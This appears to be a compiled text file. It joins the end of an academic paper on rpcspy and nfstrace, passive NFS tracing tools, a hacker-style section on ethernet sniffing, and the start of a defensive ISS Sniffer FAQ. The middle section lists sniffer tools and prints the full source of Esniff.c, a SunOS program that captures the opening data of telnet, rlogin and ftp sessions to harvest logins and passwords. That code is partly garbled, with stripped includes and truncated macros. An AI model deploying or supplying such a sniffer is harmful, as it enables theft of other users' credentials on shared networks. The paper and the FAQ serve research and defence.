releases of the same operating system might use a completely different internal handle format. In most Unix implementations, the handle contains a filesystem identifier and the inode number of the file; this is sometimes augmented by additional information, such as a version number. Since programs using rpcspy output generally will use the handle as a unique file identifier, it is important that there not appear to be more than one handle for the same file. Unfortunately, it is not sufficient to simply consider the handle as a bitstring of the maximum handle size, since many operating systems do not zero out the unused extra bits before assigning the handle. Fortunately, most servers are at least consistent in the sizes of the handles they assign. rpcspy allows the user to specify (on the command line or in a startup file) the handle size for each host to be monitored. The handles from that server are emitted as hexadecimal strings truncated at that length. If no size is specified, a guess is made based on a few common formats of a reasonable size. It is usually desirable to emit IP addresses of clients and servers as their symbolic host names. An early ver sion of the software simply did a nameserver lookup each time this was necessary; this quickly flooded the network with a nameserver request for each NFS transaction. The current version maintains a cache of host names; this requires a only a modest amount of memory for typical networks of less than a few hundred hosts. For very large networks or those where NFS service is provided to a large number of remote hosts, this could still be a potential problem, but as a last resort remote name resolution could be disabled or rpcspy configured to not translate IP addresses. UDP/IP datagrams may be fragmented among several packets if the datagram is larger than the maximum size of a single Ethernet frame. rpcspy looks only at the first fragment; in practice, fragmentation occurs only for the data fields of NFS read and write transactions, which are ignored anyway. 3. nfstrace: The Filesystem Tracing Package Although rpcspy provides a trace of the low-level NFS commands, it is not, in and of itself, sufficient for obtaining useful filesystem traces. The low-level commands do not by themselves reveal user-level activity. Furth ermore, the volume of data that would need to be recorded is potentially enormous, on the order of megabytes per hour. More useful would be an abstraction of the user-level system calls underlying the NFS activity. nfstrace is a filter for rpcspy that produces a log of a plausible set of user level filesystem commands that could have triggered the monitored activity. A record is produced each time a file is opened, giving a summary of what occurred. This summary is detailed enough for analysis or for use as input to a filesystem simulator. The output format of nfstrace consists of 7 fields: timestamp | command-time | direction | file-id | client | transferred | size where timestamp is the time the open occurred, command-time is the length of time between open and close, direc tion is either read or write (mkdir and readdir count as write and read, respectively). file-id identifies the server and the file handle, client is the client and user that performed the open, transferred is the number of bytes of the file actually read or written (cache hits have a 0 in this field), and size is the size of the file (in bytes). An example record might be as follows: 690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 | 24576 Here, userid 321 at client frejus read file 7b1f00000000400f on server basso. The file is 24576 bytes long and was able to be read from the client cache. The command started at Unix time 690691919.593442 and took 17734 microseconds at the server to execute. Since it is sometimes useful to know the name corresponding to the handle and the mode information for each file, nfstrace optionally produces a map of file handles to file names and modes. When enough information (from lookup and readdir commands) is received, new names are added. Names can change over time (as files are deleted and renamed), so the times each mapping can be considered valid is recorded as well. The mapping infor mation may not always be complete, however, depending on how much activity has already been observed. Also, hard links can confuse the name mapping, and it is not always possible to determine which of several possible names a file was opened under. What nfstrace produces is only an approximation of the underlying user activity. Since there are no NFS open or close commands, the program must guess when these system calls occur. It does this by taking advantage of the observation that NFS is fairly consistent in what it does when a file is opened. If the file is in the local buffer cache, a getattr call is made on the file to verify that it has not changed since the file was cached. Otherwise, the actual bytes of the file are fetched as they are read by the user. (It is possible that part of the file is in the cache and part is not, in which case the getattr is performed and only the missing pieces are fetched. This occurs most often when a demand-paged executable is loaded). nfstrace assumes that any sequence of NFS read calls on the same file issued by the same user at the same client is part of a single open for read. The close is assumed to have taken place when the last read in the sequence completes. The end of a read sequence is detected when the same client reads the beginning of the file again or when a timeout with no reading has elapsed. Writes are handled in a similar manner. Reads that are entirely from the client cache are a bit harder; not every getattr command is caused by a cache read, and a few cache reads take place without a getattr. A user level stat system call can sometimes trigger a getattr, as can an ls -l command. Fortunately, the attribute caching used by most implementations of NFS seems to eliminate many of these extraneous getattrs, and ls commands appear to trigger a lookup command most of the time. nfstrace assumes that a getattr on any file that the client has read within the past few hours represents a cache read, otherwise it is ignored. This simple heuristic seems to be fairly accurate in practice. Note also that a getattr might not be performed if a read occurs very soon after the last read, but the time threshold is generally short enough that this is rarely a problem. Still, the cached reads that nfstrace reports are, at best, an estimate (generally erring on the side of over-reporting). There is no way to determine the number of bytes actually read for cache hits. The output of nfstrace is necessarily produced out of chronological order, but may be sorted easily by a post-processor. nfstrace has a host of options to control the level of detail of the trace, the lengths of the timeouts, and so on. To facilitate the production of very long traces, the output can be flushed and checkpointed at a specified inter val, and can be automatically compressed. 4. Using rpcspy and nfstrace for Filesystem Tracing Clearly, nfstrace is not suitable for producing highly accurate traces; cache hits are only estimated, the timing information is imprecise, and data from lost (and duplicated) network packets are not accounted for. When such a highly accurate trace is required, other approaches, such as modification of the client and server kernels, must be employed. The main virtue of the passive-monitoring approach lies in its simplicity. In [5], Baker, et al, describe a trace of a distributed filesystem which involved low-level modification of several different operating system kernels. In contrast, our entire filesystem trace package consists of less than 5000 lines of code written by a single programmer in a few weeks, involves no kernel modifications, and can be installed to monitor multiple heterogeneous servers and clients with no knowledge of even what operating systems they are running. The most important parameter affecting the accuracy of the traces is the ability of the machine on which rpcspy is running to keep up with the network traffic. Although most modern RISC workstations with reasonable Ethernet interfaces are able to keep up with typical network loads, it is important to determine how much informa tion was lost due to packet buffer overruns before relying upon the trace data. It is also important that the trace be, indeed, non-intrusive. It quickly became obvious, for example, that logging the traffic to an NFS filesystem can be problematic. Another parameter affecting the usefulness of the traces is the validity of the heuristics used to translate from RPC calls into user-level system calls. To test this, a shell script was written that performed ls -l, touch, cp and wc commands randomly in a small directory hierarchy, keeping a record of which files were touched and read and at what time. After several hours, nfstrace was able to detect 100% of the writes, 100% of the uncached reads, and 99.4% of the cached reads. Cached reads were over-reported by 11%, even though ls com mands (which cause the "phantom" reads) made up 50% of the test activity. While this test provides encouraging evidence of the accuracy of the traces, it is not by itself conclusive, since the particular workload being monitored may fool nfstrace in unanticipated ways. As in any research where data are collected about the behavior of human subjects, the privacy of the individu als observed is a concern. Although the contents of files are not logged by the toolkit, it is still possible to learn something about individual users from examining what files they read and write. At a minimum, the users of a mon itored system should be informed of the nature of the trace and the uses to which it will be put. In some cases, it may be necessary to disable the name translation from nfstrace when the data are being provided to others. Commercial sites where filenames might reveal something about proprietary projects can be particularly sensitive to such concerns. 5. A Trace of Filesystem Activity in the Princeton C.S. Department A previous paper[14] analyzed a five-day long trace of filesystem activity conducted on 112 research worksta tions at DEC-SRC. The paper identified a number of file access properties that affect filesystem caching perfor mance; it is difficult, however, to know whether these properties were unique artifacts of that particular environment or are more generally applicable. To help answer that question, it is necessary to look at similar traces from other computing environments. It was relatively easy to use rpcspy and nfstrace to conduct a week long trace of filesystem activity in the Princeton University Computer Science Department. The departmental computing facility serves a community of approximately 250 users, of which about 65% are researchers (faculty, graduate students, undergraduate researchers, postdoctoral staff, etc), 5% office staff, 2% systems staff, and the rest guests and other "external" users. About 115 of the users work full-time in the building and use the system heavily for electronic mail, netnews, and other such communication services as well as other computer science research oriented tasks (editing, compiling, and executing programs, formatting documents, etc). The computing facility consists of a central Auspex file server (fs) (to which users do not ordinarily log in directly), four DEC 5000/200s (elan, hart, atomic and dynamic) used as shared cycle servers, and an assortment of dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris workstations, etc.) in indi vidual offices and laboratories. Most users log in to one of the four cycle servers via X window terminals located in offices; the terminals are divided evenly among the four servers. There are a number of Ethernets throughout the building. The central file server is connected to a "machine room network" to which no user terminals are directly connected; traffic to the file server from outside the machine room is gatewayed via a Cisco router. Each of the four cycle servers has a local /, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local, and users' home directories are NFS mounted from fs. Mail sent from local machines is delivered locally to the (shared) fs:/usr/spool/mail; mail from outside is delivered directly on fs. The trace was conducted by connecting a dedicated DEC 5000/200 with a local disk to the machine room net work. This network carries NFS traffic for all home directory access and access to all non-local cycle-server files (including the most of the actively-used programs). On a typical weekday, about 8 million packets are transmitted over this network. nfstrace was configured to record opens for read and write (but not directory accesses or individual reads or writes). After one week (wednesday to wednesday), 342,530 opens for read and 125,542 opens for write were recorded, occupying 8 MB of (compressed) disk space. Most of this traffic was from the four cycle servers. No attempt was made to "normalize" the workload during the trace period. Although users were notified that file accesses were being recorded, and provided an opportunity to ask to be excluded from the data collection, most users seemed to simply continue with their normal work. Similarly, no correction is made for any anomalous user activity that may have occurred during the trace. 5.1. The Workload Over Time Intuitively, the volume of traffic can be expected to vary with the time of day. Figure 1 shows the number of reads and writes per hour over the seven days of the trace; in particular, the volume of write traffic seems to mirror the general level of departmental activity fairly closely. An important metric of NFS performance is the client buffer cache hit rate. Each of the four cycle servers allocates approximately 6MB of memory for the buffer cache. The (estimated) aggregate hit rate (percentage of reads served by client caches) as seen at the file server was surprisingly low: 22.2% over the entire week. In any given hour, the hit rate never exceeded 40%. Figure 2 plots (actual) server reads and (estimated) cache hits per hour over the trace week; observe that the hit rate is at its worst during periods of the heaviest read activity. Past studies have predicted much higher hit rates than the aggregate observed here. It is probable that since most of the traffic is generated by the shared cycle servers, the low hit rate can be attributed to the large number of users competing for cache space. In fact, the hit rate was observed to be much higher on the single-user worksta tions monitored in the study, averaging above 52% overall. This suggests, somewhat counter-intuitively, that if more computers were added to the network (such that each user had a private workstation), the server load would decrease considerably. Figure 3 shows the actual cache misses and estimated cache hits for a typical private works tation in the study. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 6000 Reads/Writes per hour Writes Reads (all) Figure 1 - Read and Write Traffic Over Time 5.2. File Sharing One property observed in the DEC-SRC trace is the tendency of files that are used by multiple workstations to make up a significant proportion of read traffic but a very small proportion of write traffic. This has important implications for a caching strategy, since, when it is true, files that are cached at many places very rarely need to be invalidated. Although the Princeton computing facility does not have a single workstation per user, a similar metric is the degree to which files read by more than one user are read and written. In this respect, the Princeton trace is very similar to the DEC-SRC trace. Files read by more than one user make up more than 60% of read traffic, but less than 2% of write traffic. Files shared by more than ten users make up less than .2% of write traffic but still more than 30% of read traffic. Figure 3 plots the number of users who have previously read each file against the number of reads and writes. 5.3. File "Entropy" Files in the DEC-SRC trace demonstrated a strong tendency to "become" read-only as they were read more and more often. That is, the probability that the next operation on a given file will overwrite the file drops off shar ply in proportion to the number of times it has been read in the past. Like the sharing property, this has implications for a caching strategy, since the probability that cached data is valid influences the choice of a validation scheme. Again, we find this property to be very strong in the Princeton trace. For any file access in the trace, the probability that it is a write is about 27%. If the file has already been read at least once since it was last written to, the write probability drops to 10%. Once the file has been read at least five times, the write probability drops below 1%. Fig ure 4 plots the observed write probability against the number of reads since the last write. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 Total reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 2 - Cache Hits and Misses Over Time 6. Conclusions Although filesystem traces are a useful tool for the analysis of current and proposed systems, the difficulty of collecting meaningful trace data makes such traces difficult to obtain. The performance degradation introduced by the trace software and the volume of raw data generated makes traces over long time periods and outside of comput ing research facilities particularly hard to conduct. Although not as accurate as direct, kernel-based tracing, a passive network monitor such as the one described in this paper can permit tracing of distributed systems relatively easily. The ability to limit the data collected to a high-level log of only the data required can make it practical to conduct traces over several months. Such a long term trace is presently being conducted at Princeton as part of the author's research on filesystem caching. The non-intrusive nature of the data collection makes traces possible at facilities where kernel modification is impracti cal or unacceptable. It is the author's hope that other sites (particularly those not doing computing research) will make use of this toolkit and will make the traces available to filesystem researchers. 7. Availability The toolkit, consisting of rpcspy, nfstrace, and several support scripts, currently runs under several BSD-derived platforms, including ULTRIX 4.x, SunOS 4.x, and IBM-RT/AOS. It is available for anonymous ftp over the Internet from samadams.princeton.edu, in the compressed tar file nfstrace/nfstrace.tar.Z. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0 100 200 300 Reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 3 - Cache Hits and Misses Over Time - Private Workstation 0 5 10 15 20 n (readers) 0 20 40 60 80 100 % of Reads and Writes used by &gt; n users Reads Writes Figure 4 - Degree of Sharing for Reads and Writes 0 5 10 15 20 Reads Since Last Write 0.0 0.1 0.2 P(next operation is write) Figure 5 - Probability of Write Given &gt;= n Previous Reads 8. Acknowledgments The author would like to gratefully acknowledge Jim Roberts and Steve Beck for their help in getting the trace machine up and running, Rafael Alonso for his helpful comments and direction, and the members of the pro gram committee for their valuable suggestions. Jim Plank deserves special thanks for writing jgraph, the software which produced the figures in this paper. 9. References [1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. "Design and Implementation of the Sun Net work File System." Proc. USENIX, Summer, 1985. [2] Mogul, J., Rashid, R., & Accetta, M. "The Packet Filter: An Efficient Mechanism for User-Level Network Code." Proc. 11th ACM Symp. on Operating Systems Principles, 1987. [3] Ousterhout J., et al. "A Trace-Driven Analysis of the Unix 4.2 BSD File System." Proc. 10th ACM Symp. on Operating Systems Principles, 1985. [4] Floyd, R. "Short-Term File Reference Patterns in a UNIX Environment," TR-177 Dept. Comp. Sci, U. of Rochester, 1986. [5] Baker, M. et al. "Measurements of a Distributed File System," Proc. 13th ACM Symp. on Operating Systems Principles, 1991. [6] Metcalfe, R. & Boggs, D. "Ethernet: Distributed Packet Switching for Local Computer Networks," CACM July, 1976. [7] "Etherfind(8) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988. [8] Gusella, R. "Analysis of Diskless Workstation Traffic on an Ethernet," TR-UCB/CSD-87/379, University Of California, Berkeley, 1987. [9] "NIT(4) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988. [10] "XDR Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [11] "RPC Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [12] "NFS Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [13] Postel, J. "User Datagram Protocol," RFC 768, Network Information Center, 1980. [14] Blaze, M., and Alonso, R., "Long-Term Caching Strategies for Very Large Distributed File Systems," Proc. Summer 1991 USENIX, 1991. Matt Blaze is a Ph.D. candidate in Computer Science at Princeton University, where he expects to receive his degree in the Spring of 1992. His research interests include distributed systems, operating systems, databases, and programming environments. His current research focuses on caching in very large distributed filesystems. In 1988 he received an M.S. in Computer Science from Columbia University and in 1986 a B.S. from Hunter College. He can be reached via email at mab@cs.princeton.edu or via US mail at Dept. of Computer Science, Princeton University, 35 Olden Street, Princeton NJ 08544. __________________________________________________________________________ Ether sniffing: Well, ONE way to sniff ether anyway ;) What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." Many ethernet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */ Irix nfswatch /* Available via anonymous ftp */ Etherman SunOS etherfind nfswatch /* Available via anonymous ftp */ Solaris snoop DOS ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ The Gobbler /* Available via anonymous ftp */ LanPatrol LanWatch Netmon Netwatch Netzhack /* Available via anonymous ftp at */ /* mistress.informatik.unibw-muenchen.de */ /* /pub/netzhack.mac */ Macintosh Etherpeek Here is source code for an ethernet sniffer: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip-&gt;ip_len)) #define IPHLEN (ip-&gt;ip_hl) #define TCPOFF (tcph-&gt;th_off) #define IPS (ip-&gt;ip_src) #define IPD (ip-&gt;ip_dst) #define TCPS (tcph-&gt;th_sport) #define TCPD (tcph-&gt;th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph-&gt;th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he-&gt;h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)&gt;(b))?(a):(b)) #define MIN(a,b) (((a)&lt;(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp-&gt;Time) ); \ CLtmp-&gt;SRCip.s_addr = SIP.s_addr; \ CLtmp-&gt;DSTip.s_addr = DIP.s_addr; \ CLtmp-&gt;SRCport = SPORT; \ CLtmp-&gt;DSTport = DPORT; \ CLtmp-&gt;Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp-&gt;Data, CLtmp-&gt;Length); \ CLtmp-&gt;PKcnt = 1; \ CLtmp-&gt;Next = CLroot; \ CLtmp-&gt;Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr-&gt;SRCport == SP) && (CLr-&gt;DSTport == DP) && IPeq(CLr-&gt;SRCip,Sip) && IPeq(CLr-&gt;DSTip,Dip) ) break; CLr = CLr-&gt;Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL-&gt;Data[CL-&gt;Length],LEN); \ CL-&gt;Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- &gt;0) { \ if(*dp &lt; 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe-&gt;Time)); fprintf(LOG," PATH: %s(%s) =&gt;", Symaddr(CLe-&gt;SRCip),SERVp(CLe-&gt;SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe-&gt;DSTip),SERVp(CLe-&gt;DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe-&gt;PKcnt,(CLe-&gt;Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe-&gt;Length; register u_char *p = CLe-&gt;Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe-&gt;Next != NULL) CLe-&gt;Next-&gt;Last = CLe-&gt;Last; if(CLe-&gt;Last != NULL) CLe-&gt;Last-&gt;Next = CLe-&gt;Next; else CLroot = CLe-&gt;Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe-&gt;Time ether_type); if(EtherType &lt; 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip-&gt;ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph-&gt;th_flags),length); fprintf(LOG,"%s[%s] =&gt; ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm-&gt;PKcnt++; if(length&gt;0) if( (CLm-&gt;Length + length) &lt; MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at =&gt; %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) &lt; 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) &lt; 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") &lt; 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)&ifr; if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) &lt; 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) &gt;= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp &lt; bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp-&gt;nhb_totlen; filter(cp, (u_long)hdrp-&gt;nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())&gt;0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s&lt;0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))&gt;0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at =&gt; %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } ___________________________________________________________________________ Sniffer FAQ: Sniffer FAQ Version: 1.7 ------------------------------------------------------------------------------- This Security FAQ is a resource provided by: Internet Security Systems, Inc. 2000 Miller Court West Tel: (770) 441-2531 Norcross, Georgia 30071 Fax: (770) 441-2431 - Internet Scanner ... the most comprehensive "attack simulator" available. - ------------------------------------------------------------------------------- To get the newest updates of Security files check the following services: mail info@iss.net with "send index" in message http://iss.net/ ftp iss.net /pub/ ------------------------------------------------------------------------------- This Sniffer FAQ will hopefully give administrators a clear understanding of sniffing problems and hopefully possible solutions to follow up with. Sniffers is one of the main causes of mass break-ins on the Internet today. This FAQ will be broken down into: * What a sniffer is and how it works * Where are sniffers available * How to detect if a machine is being sniffed * Stopping sniffing attacks: o Active hubs o Encryption o Kerberos o One-time password technology o Non-promiscuous interfaces ------------------------------------------------------------------------------- What a sniffer is and how it works Unlike telephone circuits, computer networks are shared communication channels. It is simply too expensive to dedicate local loops to the switch (hub) for each pair of communicating computers. Sharing means that computers can receive information that was intended for other machines. To capture the information going over the network is called sniffing. Most popular way of connecting computers is through ethernet. Ethernet protocol works by sending packet information to all the hosts on the same circuit. The packet header contains the proper address of the destination machine. Only the machine with the matching address is suppose to accept the packet. A machine that is accepting all packets, no matter what the packet header says, is said to be in promiscuous mode. Because, in a normal networking environment, account and password information is passed along ethernet in clear-text, it is not hard for an intruder once they obtain root to put a machine into promiscuous mode and by sniffing, compromise all the machines on the net. ------------------------------------------------------------------------------- Where are sniffers available Sniffing is one of the most popular forms of attacks used by hackers. One special sniffer, called Esniff.c, is very small, designed to work on Sunos, and only captures the first 300 bytes of all telnet, ftp, and rlogin sessions. It was published in Phrack, one of the most widely read freely available underground hacking magazines. You can find Phrack on many FTP sites. Esniff.c is also available on many FTP sites such as coombs.anu.edu.au:/pub/net/log. You may want to run Esniff.c on an authorized network to quickly see how effective it is in compromising local machines. Other sniffers that are widely available which are intended to debug network problems are: * Etherfind on SunOs4.1.x * Snoop on Solaris 2.x and SunOs 4.1 (on ftp playground.sun.com) * Tcpdump 3.0 uses bpf for a multitude of platforms. * Packetman, Interman, Etherman, Loadman works on the following platforms: SunOS, Dec-Mips, SGI, Alpha, and Solaris. It is available on ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]/ [etherman-1.1a|interman-1.1|loadman-1.0|packetman-1.1].tar.Z Packetman was designed to capture packets, while Interman, Etherman, and Loadman monitor traffic of various kinds. 